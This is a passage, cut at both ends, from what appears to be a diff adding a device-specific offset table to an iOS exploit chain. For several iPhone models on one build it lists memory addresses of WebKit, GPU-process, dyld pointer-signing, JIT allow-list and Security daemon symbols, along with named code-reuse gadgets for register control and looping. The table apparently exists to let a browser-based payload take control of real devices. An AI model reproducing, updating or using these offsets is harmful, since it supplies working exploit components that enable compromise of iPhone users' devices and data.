m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + 